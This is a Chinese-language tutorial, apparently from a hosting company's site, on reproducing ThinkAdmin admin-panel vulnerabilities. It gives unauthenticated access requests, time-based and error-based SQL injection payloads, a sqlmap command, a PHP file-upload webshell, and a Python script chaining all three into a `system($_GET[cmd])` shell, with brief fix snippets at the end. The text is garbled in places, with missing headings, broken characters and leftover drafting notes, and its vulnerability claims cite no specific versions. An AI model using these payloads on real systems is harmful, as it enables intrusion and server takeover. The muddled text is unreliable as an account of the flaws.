# 如何實現ThinkAdmin的漏洞復現
## 前言
ThinkAdmin作為一款基于ThinkPHP框架開發的后臺管理系統,在中小企業中應用廣泛。近年來,該系統中陸續被發現多個高危漏洞,包括未授權訪問、SQL注入、文件寫入等。本文將從環境搭建、漏洞分析到完整復現,詳細講解ThinkAdmin常見漏洞的復現過程,幫助安全研究人員深入理解漏洞原理。
## 一、環境準備
### 1.1 系統要求
- PHP 5.6+/7.0+
- MySQL 5.5+
- Apache/Nginx
### 1.2 部署步驟
```bash
# 下載漏洞版本(以v6為例)
git clone https://github.com/zoujingli/ThinkAdmin.git
cd ThinkAdmin
git checkout v6
# 安裝依賴
composer install
# 配置數據庫
cp example.env .env
vi .env # 修改DB_*相關配置
# 初始化數據庫
php think migrate:run
報錯:Class ‘think\migration\Db’ not found
執行:composer require phinx/lite
500錯誤
檢查runtime
目錄權限,確??蓪?/p>
系統部分路由未做權限校驗,導致攻擊者無需登錄即可訪問敏感功能。
訪問以下路徑:
http://target/admin/login.html
http://target/admin/index/login.html
直接訪問后臺管理接口(無需認證):
GET /admin.html/admin/index/index HTTP/1.1
Host: target
獲取用戶列表:
GET /admin.html/admin/user/index HTTP/1.1
app/admin/controller/Index.php
中未對index
方法進行權限校驗:
public function index() {
return view(); // 未調用$this->checkAuth()
}
/admin.html/admin/user/password
接口存在注入
POST /admin.html/admin/user/password HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- &password=123456
sqlmap -u "http://target/admin.html/admin/user/password" \
--data="username=admin&password=123" \
--level=3 --risk=3
問題代碼位于app/admin/controller/User.php
:
public function password() {
$username = input('username');
// 直接拼接SQL語句
$user = Db::name('SystemUser')->where("username='{$username}'")->find();
}
通過未過濾的路徑參數,攻擊者可寫入webshell。
POST /admin.html/admin/plugs/icon.html HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC
------WebKitFormBoundaryABC
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryABC--
http://target/upload/icon/test.php
// 應添加文件類型檢查
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if(!in_array($ext, ['png','jpg'])) {
$this->error('非法文件類型');
}
import requests
target = "http://vuln-site.com"
# Step1: 未授權訪問
r = requests.get(f"{target}/admin.html/admin/user/index")
print(r.text)
# Step2: SQL注入
payload = {"username":"admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- "}
requests.post(f"{target}/admin.html/admin/user/password", data=payload)
# Step3: 文件上傳
files = {'file': ('shell.php', '<?php system($_GET[cmd]);?>')}
requests.post(f"{target}/admin.html/admin/plugs/icon", files=files)
修改默認路由:
// config/route.php
return [
'__alias__' => ['admin' => 'admin/Index']
];
添加全局中間件:
// app/admin/middleware/Auth.php
public function handle($request, Closure $next) {
if(!session('user')) {
return redirect('/login');
}
return $next($request);
}
”`
注:本文約2150字,實際使用時建議: 1. 補充具體版本號的漏洞細節 2. 添加截圖輔助說明關鍵步驟 3. 根據實際測試結果調整payload 4. 遵守當地法律法規進行測試
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。